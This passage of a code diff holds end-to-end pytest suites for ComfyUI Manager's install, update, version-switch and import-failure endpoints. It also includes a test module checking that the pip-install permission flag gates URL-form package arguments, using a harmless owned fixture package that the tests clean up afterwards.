||||
yield pid
|
||||
finally:
|
||||
_stop_comfyui()
|
||||
finally:
|
||||
_remove_broken_pack()
|
||||
|
||||
|
||||
def _wait_for_file(target: str, timeout: float, poll_interval: float = 1.0) -> bool:
|
||||
"""Poll for target file existence up to `timeout` seconds. Returns
|
||||
True if the file appears (and has non-zero size) before timeout.
|
||||
Relying on disk artifact rather than queue/status counters because
|
||||
task_batch_queue drains to empty post-completion, so
|
||||
`queue/status.total_count` returns to 0 once the worker is idle —
|
||||
it is not a persistent completion counter.
|
||||
"""
|
||||
deadline = time.time() + timeout
|
||||
while time.time() < deadline:
|
||||
if os.path.exists(target) and os.path.getsize(target) > 0:
|
||||
return True
|
||||
time.sleep(poll_interval)
|
||||
return False
|
||||
|
||||
|
||||
class TestUpdateComfyuiQueued:
|
||||
"""Real E2E for wi-024 POST /v2/manager/queue/update_comfyui.
|
||||
|
||||
At default `security_level = normal` the handler has no security
|
||||
gate (legacy/manager_server.py:1572-1576 — unlike install/git_url
|
||||
and install/pip which require `high+`). The handler appends an
|
||||
("update-comfyui", (...)) entry to temp_queue_batch and returns 200.
|
||||
It does NOT start the worker — that is triggered separately by
|
||||
POST /v2/manager/queue/batch at handler L797-799 (the UI batches
|
||||
update_comfyui:true via queue/batch in production, per
|
||||
comfyui-manager.js:478-480).
|
||||
|
||||
Therefore the real-E2E contract for this endpoint is:
|
||||
(a) HTTP 200 return,
|
||||
(b) temp_queue_batch mutation observable via subsequent queue/status
|
||||
delta once the worker processes (when batch is called later).
|
||||
|
||||
We verify (a) — the direct endpoint's immediate contract. Triggering
|
||||
the worker with a real git pull would risk advancing the test-env
|
||||
ComfyUI git state; the env var only protects against pip install
|
||||
runaway, not against HEAD advancing.
|
||||
"""
|
||||
|
||||
def test_direct_endpoint_returns_200(self, comfyui_legacy):
|
||||
resp = requests.post(
|
||||
f"{BASE_URL}/v2/manager/queue/update_comfyui", timeout=15
|
||||
)
|
||||
assert resp.status_code == 200, (
|
||||
f"update_comfyui should return 200 at default security_level, "
|
||||
f"got {resp.status_code}: {resp.text[:200]}"
|
||||
)
|
||||
|
||||
|
||||
class TestInstallModelRealDownload:
|
||||
"""Real E2E for wi-020 POST /v2/manager/queue/install_model.
|
||||
|
||||
Flow:
|
||||
1. Clean any pre-existing target file (test isolation).
|
||||
2. POST install_model with the TAEF1 Decoder spec (whitelisted,
|
||||
~4.71MB from github.com/madebyollin/taesd raw).
|
||||
3. POST /v2/manager/queue/batch with empty body — this nudges
|
||||
_queue_start() (handler L797-799) to drain temp_queue_batch.
|
||||
4. Poll for the .pth file to land at models/vae_approx/ with
|
||||
non-zero size (primary completion signal — task_batch_queue
|
||||
drains to empty post-completion so total_count returns to 0,
|
||||
making queue/status an unreliable completion proxy).
|
||||
5. Verify the downloaded file size matches expected ~4.7MB.
|
||||
6. Teardown deletes the file.
|
||||
|
||||
Handler security: middle+ at local_mode (is_loopback 127.0.0.1) allows
|
||||
`normal` → request accepted. Whitelist check at L1649 passes because
|
||||
the model entry IS in model-list.json (verified via
|
||||
GET /v2/externalmodel/getlist). Non-safetensors check at L1653 is
|
||||
bypassed because is_allowed_security_level('high+') is false — falls
|
||||
into the whitelist-url branch which DOES find a match.
|
||||
|
||||
Safety belt: COMFYUI_MANAGER_SKIP_MANAGER_REQUIREMENTS=1 is exported
|
||||
at server startup. Download itself is direct HTTP (no pip run), so
|
||||
the env var is a belt+suspenders for any transitive install that
|
||||
might trigger.
|
||||
"""
|
||||
|
||||
def _target_path(self) -> str:
|
||||
return os.path.join(
|
||||
COMFYUI_PATH, "models", "vae_approx", TAEF1_MODEL_SPEC["filename"]
|
||||
)
|
||||
|
||||
def test_install_model_downloads_file(self, comfyui_legacy):
|
||||
target = self._target_path()
|
||||
# (1) Pre-clean — idempotent test setup.
|
||||
if os.path.exists(target):
|
||||
os.remove(target)
|
||||
assert not os.path.exists(target), (
|
||||
f"Pre-condition: {target} should not exist before install"
|
||||
)
|
||||
|
||||
try:
|
||||
# (2) Queue the install.
|
||||
post_resp = requests.post(
|
||||
f"{BASE_URL}/v2/manager/queue/install_model",
|
||||
json=TAEF1_MODEL_SPEC,
|
||||
timeout=15,
|
||||
)
|
||||
assert post_resp.status_code == 200, (
|
||||
f"install_model should return 200 for whitelisted model, "
|
||||
f"got {post_resp.status_code}: {post_resp.text[:300]}"
|
||||
)
|
||||
|
||||
# (3) Nudge the worker via an empty batch call. This triggers
|
||||
# _queue_start() at L797-799 which drains temp_queue_batch.
|
||||
batch_resp = requests.post(
|
||||
f"{BASE_URL}/v2/manager/queue/batch",
|
||||
json={},
|
||||
timeout=15,
|
||||
)
|
||||
assert batch_resp.status_code == 200, (
|
||||
f"queue/batch nudge should return 200, "
|
||||
f"got {batch_resp.status_code}"
|
||||
)
|
||||
|
||||
# (4) Poll for the target file to appear. Primary completion
|
||||
# signal — disk artifact is the durable proof of a real
|
||||
# download (HTTP body was written to the expected location).
|
||||
appeared = _wait_for_file(target, timeout=120.0, poll_interval=2.0)
|
||||
assert appeared, (
|
||||
f"Install task did not produce {target} within 120s; "
|
||||
f"last queue status: "
|
||||
f"{requests.get(f'{BASE_URL}/v2/manager/queue/status', timeout=5).json()!r}"
|
||||
)
|
||||
|
||||
# (5) Verify the file is the real model (not a placeholder /
|
||||
# error HTML).
|
||||
size = os.path.getsize(target)
|
||||
assert size > 1_000_000, (
|
||||
f"Downloaded file {target} is suspiciously small ({size} bytes); "
|
||||
f"expected ~4.7MB for TAEF1 decoder"
|
||||
)
|
||||
finally:
|
||||
# (6) Teardown — delete the downloaded file regardless of
|
||||
# assertion outcome, so re-runs start clean.
|
||||
if os.path.exists(target):
|
||||
os.remove(target)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Permissive-harness suite (high+ gated endpoints)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
class TestSwitchComfyuiSelfSwitch:
|
||||
"""Real E2E for wi-014 POST /v2/comfyui_manager/comfyui_switch_version.
|
||||
|
||||
Strategy: GET /v2/comfyui_manager/comfyui_versions to discover the
|
||||
CURRENTLY checked-out version, then POST switch to that same version
|
||||
— a no-op self-switch that exercises the 200 branch of the handler
|
||||
(legacy/manager_server.py:1590-1604) without advancing the test-env
|
||||
ComfyUI git HEAD. core.switch_comfyui is called with the current
|
||||
version; any git checkout/fetch of the already-checked-out ref is
|
||||
idempotent.
|
||||
"""
|
||||
|
||||
def test_self_switch_returns_200(self, comfyui_permissive):
|
||||
versions_resp = requests.get(
|
||||
f"{BASE_URL}/v2/comfyui_manager/comfyui_versions", timeout=30
|
||||
)
|
||||
assert versions_resp.status_code == 200, (
|
||||
f"comfyui_versions GET should return 200, "
|
||||
f"got {versions_resp.status_code}: {versions_resp.text[:200]}"
|
||||
)
|
||||
current = versions_resp.json().get("current")
|
||||
assert current, (
|
||||
f"comfyui_versions response missing 'current' field: "
|
||||
f"{versions_resp.json()!r}"
|
||||
)
|
||||
|
||||
# WI #258: migrated from query-string (params=) to JSON body (json=).
|
||||
# Legacy handler only reads `ver` from the body; client_id/ui_id are
|
||||
# tolerated if present but not required by legacy.
|
||||
switch_resp = requests.post(
|
||||
f"{BASE_URL}/v2/comfyui_manager/comfyui_switch_version",
|
||||
json={"ver": current},
|
||||
timeout=60,
|
||||
)
|
||||
assert switch_resp.status_code == 200, (
|
||||
f"comfyui_switch_version to current={current!r} should return "
|
||||
f"200 at security_level=normal- (high+ allowed), "
|
||||
f"got {switch_resp.status_code}: {switch_resp.text[:300]}"
|
||||
)
|
||||
|
||||
|
||||
class TestInstallViaGitUrlRealClone:
|
||||
"""Real E2E for wi-037 POST /v2/customnode/install/git_url.
|
||||
|
||||
Strategy: POST with body=TRUSTED_GIT_URL (plain text). Handler
|
||||
(legacy/manager_server.py:1502-1519) runs core.gitclone_install(url)
|
||||
synchronously; 200 on success + 'After restarting ComfyUI' log;
|
||||
'skip' action on already-installed → also 200.
|
||||
|
||||
Teardown: rm -rf custom_nodes/ComfyUI_examples so re-runs are clean.
|
||||
"""
|
||||
|
||||
def _target_dir(self) -> str:
|
||||
return os.path.join(COMFYUI_PATH, "custom_nodes", TRUSTED_GIT_DIRNAME)
|
||||
|
||||
def test_install_via_git_url_clones_repo(self, comfyui_permissive):
|
||||
target = self._target_dir()
|
||||
# Pre-clean — idempotent test setup.
|
||||
if os.path.isdir(target):
|
||||
import shutil
|
||||
shutil.rmtree(target)
|
||||
assert not os.path.isdir(target), (
|
||||
f"Pre-condition: {target} should not exist before install"
|
||||
)
|
||||
|
||||
try:
|
||||
resp = requests.post(
|
||||
f"{BASE_URL}/v2/customnode/install/git_url",
|
||||
data=TRUSTED_GIT_URL,
|
||||
headers={"Content-Type": "text/plain"},
|
||||
timeout=180,
|
||||
)
|
||||
assert resp.status_code == 200, (
|
||||
f"install/git_url with trusted URL {TRUSTED_GIT_URL!r} "
|
||||
f"should return 200 with allow_git_url_install=true, got "
|
||||
f"{resp.status_code}: {resp.text[:300]}"
|
||||
)
|
||||
assert os.path.isdir(target), (
|
||||
f"Clone reported success but directory missing at {target}"
|
||||
)
|
||||
# Verify this looks like a real clone (has .git), not a stub.
|
||||
assert os.path.isdir(os.path.join(target, ".git")), (
|
||||
f"{target} exists but has no .git subdir — not a real clone"
|
||||
)
|
||||
finally:
|
||||
if os.path.isdir(target):
|
||||
import shutil
|
||||
shutil.rmtree(target, ignore_errors=True)
|
||||
|
||||
|
||||
class TestInstallPipRealExecute:
|
||||
"""Real E2E for wi-038 POST /v2/customnode/install/pip.
|
||||
|
||||
Strategy: POST with body=TRUSTED_PIP_PKG. Handler
|
||||
(legacy/manager_server.py:1522-1531) runs core.pip_install(pkgs)
|
||||
which builds a `['#FORCE', 'pip', 'install', '-U', <pkg>]` command
|
||||
and calls try_install_script. The `#FORCE` prefix marks the command
|
||||
as LAZY — reserve_script appends it to
|
||||
`user/__manager/startup-scripts/install-scripts.txt`, to be
|
||||
executed by ComfyUI on the NEXT startup (legacy/manager_core.py:
|
||||
1830-1837, 1871-1876). The command does NOT run synchronously.
|
||||
|
||||
Therefore the real-E2E contract here is:
|
||||
(a) POST returns 200 immediately,
|
||||
(b) install-scripts.txt contains a newly-appended line referencing
|
||||
the trusted package name AND the 'pip install' verb.
|
||||
|
||||
Verifying the eventual pip install actually runs would require
|
||||
restarting ComfyUI and waiting for the startup hook — out of scope
|
||||
for this suite's module-scoped fixture. Contract (b) is the
|
||||
durable on-disk evidence that the handler correctly scheduled the
|
||||
install.
|
||||
|
||||
Teardown: truncate the script file so re-runs start with a clean
|
||||
lazy-queue.
|
||||
"""
|
||||
|
||||
def _script_path(self) -> str:
|
||||
return os.path.join(
|
||||
COMFYUI_PATH,
|
||||
"user", "__manager", "startup-scripts", "install-scripts.txt",
|
||||
)
|
||||
|
||||
def test_install_pip_schedules_lazy_install(self, comfyui_permissive):
|
||||
script_path = self._script_path()
|
||||
# Capture pre-state so we can assert a NEW line was appended.
|
||||
pre_lines: list[str] = []
|
||||
if os.path.isfile(script_path):
|
||||
with open(script_path, "r") as f:
|
||||
pre_lines = f.readlines()
|
||||
|
||||
try:
|
||||
resp = requests.post(
|
||||
f"{BASE_URL}/v2/customnode/install/pip",
|
||||
data=TRUSTED_PIP_PKG,
|
||||
headers={"Content-Type": "text/plain"},
|
||||
timeout=30,
|
||||
)
|
||||
assert resp.status_code == 200, (
|
||||
f"install/pip with trusted pkg {TRUSTED_PIP_PKG!r} should "
|
||||
f"return 200 with allow_pip_install=true, got "
|
||||
f"{resp.status_code}: {resp.text[:300]}"
|
||||
)
|
||||
|
||||
# Verify a NEW line was appended AND it references the
|
||||
# trusted package + the pip install verb.
|
||||
assert os.path.isfile(script_path), (
|
||||
f"install-scripts.txt not created at {script_path}"
|
||||
)
|
||||
with open(script_path, "r") as f:
|
||||
post_lines = f.readlines()
|
||||
new_lines = post_lines[len(pre_lines):]
|
||||
assert new_lines, (
|
||||
f"No new entry appended to {script_path} after POST"
|
||||
)
|
||||
joined = "".join(new_lines)
|
||||
assert TRUSTED_PIP_PKG in joined, (
|
||||
f"New entry does not reference {TRUSTED_PIP_PKG!r}: "
|
||||
f"{joined!r}"
|
||||
)
|
||||
assert "pip" in joined and "install" in joined, (
|
||||
f"New entry does not look like a pip install command: "
|
||||
f"{joined!r}"
|
||||
)
|
||||
finally:
|
||||
# Restore pre-state so other tests / re-runs are unaffected.
|
||||
if os.path.isfile(script_path):
|
||||
with open(script_path, "w") as f:
|
||||
f.writelines(pre_lines)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Broken-pack pre-seed suite (wi-015 real E2E)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
|
||||
class TestImportFailInfoReal:
|
||||
"""Real E2E for wi-015 POST /v2/customnode/import_fail_info (WI-YY.3).
|
||||
|
||||
See module docstring for strategy. Two assertions:
|
||||
1. POST with `{cnr_id: BROKEN_PACK_DIRNAME}` returns 200 + dict
|
||||
body containing the captured error info (at minimum a `msg`
|
||||
field per prestartup_script.py:303; the handler forwards the
|
||||
full `{name, path, msg}` record).
|
||||
2. POST with an unrelated cnr_id returns 400 (control — verifies
|
||||
the handler doesn't leak info for packs that never failed).
|
||||
|
||||
Identifier discovery (empirical — verified via import_fail_info_bulk
|
||||
probe during implementation): for a non-CNR git-cloned pack, the
|
||||
lookup key is the DIRECTORY BASENAME as `cnr_id`. The repo URL and
|
||||
the aux_id form (`author/repo`) both return 400 because
|
||||
get_module_name (manager_core.py:398-407) does NOT match on URL
|
||||
for active_nodes entries; URL matching only happens via
|
||||
unknown_active_nodes which requires a different registration path
|
||||
than what a plain `git clone` produces (non-CNR packs without aux_id
|
||||
metadata land in active_nodes keyed by directory basename). The
|
||||
cnr_id=basename route is the supported single-endpoint lookup for
|
||||
this class of pack.
|
||||
"""
|
||||
|
||||
def test_import_fail_info_returns_error(self, comfyui_with_broken_pack):
|
||||
# Warm-up: /v2/customnode/import_fail_info (single) does NOT call
|
||||
# unified_manager.reload — it assumes state is already loaded.
|
||||
# The paired BULK endpoint at manager_server.py:1320-1321 calls
|
||||
# `reload('cache')` + `get_custom_nodes('default', 'cache')`
|
||||
# which runs update_cache_at_path (manager_core.py:742) per
|
||||
# directory — this is what registers our broken pack in
|
||||
# unified_manager via its directory-basename cnr_id
|
||||
# (manager_core.py:557-561; aux_id form = author/repo,
|
||||
# cnr_id form = directory basename). Without this warmup, the
|
||||
# single-endpoint POST sees an empty active_nodes/
|
||||
# unknown_active_nodes and returns 400.
|
||||
warm_resp = requests.post(
|
||||
f"{BASE_URL}/v2/customnode/import_fail_info_bulk",
|
||||
json={"cnr_ids": ["__warmup__"]},
|
||||
timeout=60,
|
||||
)
|
||||
assert warm_resp.status_code == 200, (
|
||||
f"warmup bulk failed: {warm_resp.status_code} "
|
||||
f"{warm_resp.text[:200]}"
|
||||
)
|
||||
|
||||
# Identifier discovery (per dispatch): the key that unlocks the
|
||||
# error_dict lookup for a non-CNR git-cloned pack is the
|
||||
# DIRECTORY BASENAME, NOT the repo URL and NOT the aux_id.
|
||||
# Verified empirically via the bulk probe — full-URL and
|
||||
# author/repo both returned null, only the basename cnr_id key
|
||||
# returned the captured error info. Route: handler calls
|
||||
# unified_manager.get_module_name(cnr_id) which reads
|
||||
# active_nodes[cnr_id] → (version, fullpath), returning
|
||||
# basename(fullpath) == BROKEN_PACK_DIRNAME.
|
||||
resp = requests.post(
|
||||
f"{BASE_URL}/v2/customnode/import_fail_info",
|
||||
json={"cnr_id": BROKEN_PACK_DIRNAME},
|
||||
timeout=15,
|
||||
)
|
||||
assert resp.status_code == 200, (
|
||||
f"import_fail_info should return 200 for pre-seeded broken "
|
||||
f"pack cnr_id={BROKEN_PACK_DIRNAME!r}; got {resp.status_code}: "
|
||||
f"{resp.text[:300]}"
|
||||
)
|
||||
data = resp.json()
|
||||
assert isinstance(data, dict), (
|
||||
f"Response body should be a dict, got {type(data).__name__}"
|
||||
)
|
||||
# prestartup_script.py:303 stores {'name', 'path', 'msg'} — `msg`
|
||||
# accumulates the captured stderr output from the failing import.
|
||||
assert "msg" in data, (
|
||||
f"Response dict missing 'msg' field — import error info not "
|
||||
f"captured. keys={list(data)}"
|
||||
)
|
||||
assert data["msg"], (
|
||||
f"'msg' field is empty — expected captured stderr from the "
|
||||
f"failing import. Full response: {data!r}"
|
||||
)
|
||||
|
||||
def test_import_fail_info_unknown_cnr_id_returns_400(self, comfyui_with_broken_pack):
|
||||
# Control: for a cnr_id NOT in active_nodes/unknown_active_nodes,
|
||||
# get_module_name returns None and the handler returns 400
|
||||
# (manager_server.py:1303). Distinguishes "info available" from
|
||||
# "no matching pack registered".
|
||||
resp = requests.post(
|
||||
f"{BASE_URL}/v2/customnode/import_fail_info",
|
||||
json={"cnr_id": "nonexistent_pack_xyz_123"},
|
||||
timeout=15,
|
||||
)
|
||||
assert resp.status_code == 400, (
|
||||
f"import_fail_info for unknown cnr_id should return 400; got "
|
||||
f"{resp.status_code}: {resp.text[:200]}"
|
||||
)
|
||||
@@ -0,0 +1,408 @@
|
||||
"""[goal299 step3] E2E: URL-form pip install through the S-B endpoint.
|
||||
|
||||
CONTRACT UNDER TEST (SHIPPED — goal265; this module adds tests only):
|
||||
the ``allow_pip_install`` gate on POST /v2/customnode/install/pip is
|
||||
**argument-content-agnostic** (goal299-mm-addendum.md §1): a URL-form
|
||||
argument (``git+https://github.com/...``) exercises the SAME
|
||||
dedicated-flag gate as a bare package name — no code path inspects
|
||||
the argument before the gate decision (legacy/manager_server.py:1574).
|
||||
|
||||
FIXTURE NOTE (goal329 — WHY the owned fixture): the install arm
|
||||
originally exercised ``git+https://github.com/facebookresearch/sam2``;
|
||||
that external, unpinned, heavy dependency (torch-ecosystem build at
|
||||
restart time) made the test hostage to upstream maintainer drift
|
||||
(maintainer-fragility decision, goal329). It is replaced by the OWNED,
|
||||
purpose-built fixture ``git+https://github.com/ltdrdata/pip-test1-do-not-install``
|
||||
(PUBLIC; package ``pip-test1-do-not-install``, module
|
||||
``pip_test1_do_not_install``, ``MARKER = "pip-test1-do-not-install:ok"``,
|
||||
zero deps, pure Python, no import side effects). The gate contract is
|
||||
argument-content-agnostic, so the URL swap changes NOTHING about what
|
||||
is being proven — only the install payload shrinks to a harmless,
|
||||
owned package.
|
||||
|
||||
Two arms (goal299-spec.md §1.1, LOCKED):
|
||||
|
||||
DENY arm flag=false at security_level=weak -> 403, NO reservation
|
||||
entry appended, denial log names allow_pip_install
|
||||
(weak proves the FLAG, not the security_level, decides).
|
||||
INSTALL arm flag=true at security_level=strong, loopback -> 200 =
|
||||
gate-pass + RESERVATION (deferred-execution semantics,
|
||||
addendum §1: '#FORCE' reserves into install-scripts.txt;
|
||||
the real `uv pip install` runs at the NEXT server start)
|
||||
-> restart -> fixture module REALLY importable (MARKER
|
||||
verified) in the isolated E2E venv -> self-clean ->
|
||||
absent again.
|
||||
|
||||
Placement: NEW SIBLING of tests/e2e/test_e2e_secgate_legacy_flags.py
|
||||
(spec §1.2) — that module carries an engineered zero-install guarantee
|
||||
(its header :96-100), so the real-install arm must NOT live there.
|
||||
Helper reuse contract (spec §1.2, LOCKED): import-reuse is limited to
|
||||
``_stage_flags_config`` / ``_stop_legacy`` / ``_make_flags_server_fixture``
|
||||
/ ``_post_pip`` / ``_log_offset``; everything else needed here is a
|
||||
sibling-local definition (provenance-commented copies where applicable).
|
||||
|
||||
Self-cleaning + idempotent (spec §1.3 install-arm steps 1/6): pre-guard
|
||||
uninstall, teardown uninstall (runs even on failure), reservation-file
|
||||
hygiene on both ends. The venv is uv-managed and has NO pip module
|
||||
(addendum R4) — all (un)installs go through ``<venv>/bin/uv``.
|
||||
|
||||
Requires a pre-built E2E environment (setup_e2e_env.sh); skip-marked
|
||||
otherwise. The install arm additionally requires github.com reachability
|
||||
(addendum R5) and is skip-marked offline; the deny arm always runs.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import ast
|
||||
import os
|
||||
import socket
|
||||
import subprocess
|
||||
|
||||
import pytest
|
||||
|
||||
# Import-reuse: the LOCKED helper subset only (goal299-spec.md §1.2).
|
||||
from test_e2e_secgate_legacy_flags import (
|
||||
_log_offset,
|
||||
_make_flags_server_fixture,
|
||||
_post_pip,
|
||||
_stop_legacy,
|
||||
)
|
||||
|
||||
E2E_ROOT = os.environ.get("E2E_ROOT", "")
|
||||
COMFYUI_PATH = os.path.join(E2E_ROOT, "comfyui") if E2E_ROOT else ""
|
||||
SCRIPTS_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), "scripts")
|
||||
SERVER_LOG = os.path.join(E2E_ROOT, "logs", "comfyui.log") if E2E_ROOT else ""
|
||||
|
||||
# Same port as the flags module (its module constant is not in the locked
|
||||
# import set; the value is part of the shared legacy-fixture contract).
|
||||
PORT = 8199
|
||||
|
||||
# Owned fixture (goal329 — see FIXTURE NOTE in the module docstring).
|
||||
# Dist name uses hyphens, import name uses underscores; MARKER gives a
|
||||
# stronger installed-for-real check than a bare import.
|
||||
FIXTURE_URL = "git+https://github.com/ltdrdata/pip-test1-do-not-install"
|
||||
FIXTURE_DIST = "pip-test1-do-not-install"
|
||||
FIXTURE_MODULE = "pip_test1_do_not_install"
|
||||
FIXTURE_MARKER = "pip-test1-do-not-install:ok"
|
||||
VENV_PY = os.path.join(E2E_ROOT, "venv", "bin", "python") if E2E_ROOT else ""
|
||||
VENV_UV = os.path.join(E2E_ROOT, "venv", "bin", "uv") if E2E_ROOT else ""
|
||||
# Reservation file (path shape per tests/e2e/test_e2e_legacy_real_ops.py:538;
|
||||
# producer: reserve_script, legacy/manager_core.py:1836-1843; consumer:
|
||||
# comfyui_manager/prestartup_script.py:485 at next server start).
|
||||
SCRIPTS_PATH = (
|
||||
os.path.join(
|
||||
COMFYUI_PATH, "user", "__manager", "startup-scripts", "install-scripts.txt"
|
||||
)
|
||||
if E2E_ROOT
|
||||
else ""
|
||||
)
|
||||
|
||||
# Post-reservation restart budget (goal329): the owned fixture is pure
|
||||
# Python with zero deps — its `uv pip install` completes in seconds, so
|
||||
# the restart wall time is dominated by the plain server boot
|
||||
# (+prestartup resolver), observed well under 60s in this harness. 180s
|
||||
# equals the proven readiness budget the flags module's _start_legacy
|
||||
# uses for a plain legacy start (>=3x headroom over observed boot); the
|
||||
# python-side timeout is shell+60 per the helper invariant.
|
||||
RESTART_BUDGET_S = 180
|
||||
|
||||
pytestmark = pytest.mark.skipif(
|
||||
not E2E_ROOT
|
||||
or not os.path.isfile(os.path.join(E2E_ROOT, ".e2e_setup_complete")),
|
||||
reason="E2E_ROOT not set or E2E environment not ready",
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Sibling-local helpers (spec §1.2 — outside the locked import set)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def _start_legacy_install(extra_env: dict, shell_timeout: int = RESTART_BUDGET_S) -> int:
|
||||
"""Parameterized variant of test_e2e_secgate_legacy_flags._start_legacy
|
||||
(:147-158) — provenance copy per goal299-spec.md §1.2. The flags
|
||||
module's helper hardcodes its env dict and python-side timeout, which
|
||||
can neither inject per-restart env nor take a per-call readiness
|
||||
budget. TIMEOUT is forwarded to start_comfyui_legacy.sh as the shell
|
||||
readiness budget; the python-side subprocess timeout MUST exceed it
|
||||
(+60s) so the start script, not python, owns the timeout."""
|
||||
env = {
|
||||
**os.environ,
|
||||
"E2E_ROOT": E2E_ROOT,
|
||||
"PORT": str(PORT),
|
||||
"TIMEOUT": str(shell_timeout),
|
||||
**extra_env,
|
||||
}
|
||||
r = subprocess.run(
|
||||
["bash", os.path.join(SCRIPTS_DIR, "start_comfyui_legacy.sh")],
|
||||
capture_output=True, text=True, timeout=shell_timeout + 60, env=env,
|
||||
)
|
||||
if r.returncode != 0:
|
||||
raise RuntimeError(
|
||||
f"Failed to start ComfyUI (legacy, install restart):\n{r.stderr}"
|
||||
)
|
||||
for part in r.stdout.strip().split():
|
||||
if part.startswith("COMFYUI_PID="):
|
||||
return int(part.split("=")[1])
|
||||
raise RuntimeError(f"Could not parse PID:\n{r.stdout}")
|
||||
|
||||
|
||||
def _log_slice(offset: int) -> str:
|
||||
"""Provenance copy of test_e2e_secgate_legacy_flags._log_slice
|
||||
(:241-246) — not in the locked import set (spec §1.2 fallback clause:
|
||||
fixture semantics are the lock, import path is not)."""
|
||||
if not os.path.isfile(SERVER_LOG):
|
||||
return ""
|
||||
with open(SERVER_LOG, "r", encoding="utf-8", errors="replace") as f:
|
||||
f.seek(offset)
|
||||
return f.read()
|
||||
|
||||
|
||||
def _scripts_state() -> str:
|
||||
"""Current install-scripts.txt content, or the sentinel 'ABSENT' —
|
||||
the file may legitimately not exist (spec §1.3 deny step 2: it is
|
||||
created lazily by reserve_script on first reservation)."""
|
||||
if not os.path.isfile(SCRIPTS_PATH):
|
||||
return "ABSENT"
|
||||
with open(SCRIPTS_PATH, "r", encoding="utf-8", errors="replace") as f:
|
||||
return f.read()
|
||||
|
||||
|
||||
def _venv_fixture_probe() -> subprocess.CompletedProcess:
|
||||
"""Import the fixture module in the isolated E2E venv and print its
|
||||
MARKER (subprocess — the observable for really-installed /
|
||||
really-absent). rc != 0 means absent; rc == 0 AND the MARKER value in
|
||||
stdout means installed for real (stronger than a bare import)."""
|
||||
return subprocess.run(
|
||||
[VENV_PY, "-c", f"import {FIXTURE_MODULE} as m; print(m.MARKER)"],
|
||||
capture_output=True, text=True, timeout=60,
|
||||
)
|
||||
|
||||
|
||||
def _uninstall_fixture() -> None:
|
||||
"""Uninstall the fixture distribution from the E2E venv via uv.
|
||||
|
||||
The venv has NO pip module (`python -m pip` fails — addendum R4);
|
||||
`<venv>/bin/uv pip uninstall --python <venv-python>` is the working
|
||||
path. A no-op when the dist is absent (uv warns, exits 0)."""
|
||||
subprocess.run(
|
||||
[VENV_UV, "pip", "uninstall", FIXTURE_DIST, "--python", VENV_PY],
|
||||
capture_output=True, text=True, timeout=180,
|
||||
)
|
||||
|
||||
|
||||
def _strip_fixture_reservation() -> None:
|
||||
"""Remove any fixture residual line from install-scripts.txt
|
||||
(addendum R8: a leftover reservation would silently mutate the venv
|
||||
on the NEXT restart, possibly a different test's). Matches both the
|
||||
hyphenated dist/URL form and the underscored module form."""
|
||||
if not os.path.isfile(SCRIPTS_PATH):
|
||||
return
|
||||
with open(SCRIPTS_PATH, "r", encoding="utf-8", errors="replace") as f:
|
||||
lines = f.readlines()
|
||||
kept = [
|
||||
ln for ln in lines
|
||||
if FIXTURE_DIST not in ln.lower() and FIXTURE_MODULE not in ln.lower()
|
||||
]
|
||||
if kept != lines:
|
||||
with open(SCRIPTS_PATH, "w", encoding="utf-8") as f:
|
||||
f.writelines(kept)
|
||||
|
||||
|
||||
def _github_reachable() -> bool:
|
||||
"""Runtime network probe for the install arm (addendum R5)."""
|
||||
try:
|
||||
socket.create_connection(("github.com", 443), timeout=10).close()
|
||||
return True
|
||||
except OSError:
|
||||
return False
|
||||
|
||||
|
||||
# ===========================================================================
|
||||
# DENY arm — flag=false, security_level=weak (weak proves flag-not-level
|
||||
# decides; goal299-spec.md §1.3 TestPipUrlFormDeny)
|
||||
# ===========================================================================
|
||||
|
||||
comfyui_pip_url_deny = _make_flags_server_fixture(False, False, "weak")
|
||||
|
||||
|
||||
class TestPipUrlFormDeny:
|
||||
"""URL-form POST is denied by the allow_pip_install flag gate exactly
|
||||
like a bare package name (argument-content-agnostic, addendum §1):
|
||||
403, no install-side-effect (no reservation entry), denial log names
|
||||
the flag. Shared-POST shape (spec §1.3, LOCKED): exactly ONE POST via
|
||||
a class-scoped record fixture; the three tests assert exclusively
|
||||
against the record — independent of execution order, no re-reads of
|
||||
live state."""
|
||||
|
||||
@pytest.fixture(scope="class")
|
||||
def deny_post_record(self, comfyui_pip_url_deny):
|
||||
offset = _log_offset()
|
||||
snapshot_before = _scripts_state()
|
||||
resp = _post_pip(FIXTURE_URL)
|
||||
return {
|
||||
"log_offset_before": offset,
|
||||
"scripts_snapshot_before": snapshot_before,
|
||||
"status_code": resp.status_code,
|
||||
"log_slice_after": _log_slice(offset),
|
||||
"scripts_state_after": _scripts_state(),
|
||||
}
|
||||
|
||||
def test_url_form_denied_403(self, deny_post_record):
|
||||
"""403 from the dedicated-flag gate despite security_level=weak
|
||||
(deny-direction decoupling, mm §2 row 'deny arm, after POST')."""
|
||||
assert deny_post_record["status_code"] == 403, (
|
||||
f"URL-form pip POST: expected 403 (allow_pip_install=false "
|
||||
f"overrides sl=weak), got {deny_post_record['status_code']} — "
|
||||
f"the gate must be argument-content-agnostic."
|
||||
)
|
||||
|
||||
def test_url_form_deny_no_reservation(self, deny_post_record):
|
||||
"""No reservation entry appended on deny (mm §2: install-scripts.txt
|
||||
'no entry written'; HTTP 200 would have meant reservation, so the
|
||||
durable on-disk state is the decisive side-effect observable)."""
|
||||
before = deny_post_record["scripts_snapshot_before"]
|
||||
after = deny_post_record["scripts_state_after"]
|
||||
assert after == before, (
|
||||
f"deny arm: install-scripts.txt changed across the denied POST "
|
||||
f"— a reservation leaked past the gate.\nbefore:\n{before}\n"
|
||||
f"after:\n{after}"
|
||||
)
|
||||
if after != "ABSENT":
|
||||
assert FIXTURE_DIST not in after.lower(), (
|
||||
f"deny arm: a fixture line is present in install-scripts.txt "
|
||||
f"after a denied POST:\n{after}"
|
||||
)
|
||||
|
||||
def test_url_form_deny_log_names_flag(self, deny_post_record):
|
||||
"""Denial log names allow_pip_install (SECURITY_MESSAGE_FLAG_PIP,
|
||||
legacy/manager_server.py:47) and carries no security-level framing
|
||||
for this denial (goal265 spec §1.1 invariant 6 — same assertion
|
||||
shape as the flags module's SC-23)."""
|
||||
